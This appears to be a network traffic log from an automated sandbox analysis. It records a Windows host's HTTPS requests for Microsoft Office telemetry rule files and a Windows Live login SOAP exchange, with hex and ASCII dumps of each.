2024-11-25 23:08:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:11 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:11 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230811Z-174c587ffdf7t49mhC1TEB4qbg00000006cg00000000x2gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:11 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49779	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:11 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 23:08:11 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 23:08:12 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 23:07:12 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C511_BL2 x-ms-request-id: 365b78d9-fa67-49f7-bce2-81c51053f8e7 PPServer: PPV: 30 H: BL02EPF0001DA3E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 23:08:11 GMT Connection: close Content-Length: 11409
2024-11-25 23:08:12 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:11 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230812Z-178bfbc474bgvl54hC1NYCsfuw0000000850000000005yr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:13 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:13 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230813Z-15b8b599d88hr8sfhC1TEBbca400000006hg000000004yhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:13 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230813Z-174c587ffdfgcs66hC1TEB69cs00000006gg000000006c8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:13 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:13 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 918e3103-701e-0097-4a7c-3bb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230813Z-174c587ffdfb74xqhC1TEBhabc00000006p0000000005zem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:13 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:13 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230813Z-178bfbc474btvfdfhC1NYCa2en000000084g00000000k0yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:14 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 6d18d387-b01e-003d-2b07-3fd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230814Z-15b8b599d8885prmhC1TEBsnkw00000006r000000000arhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:15 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6ea5360a-801e-002a-4904-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230815Z-178bfbc474bwh9gmhC1NYCy3rs000000084g00000000k4tv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:15 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230815Z-174c587ffdftv9hphC1TEBm29w00000006mg000000002g8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:15 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 54e83703-c01e-00a1-7d1b-3e7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230815Z-178bfbc474bgvl54hC1NYCsfuw000000085g0000000055y6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
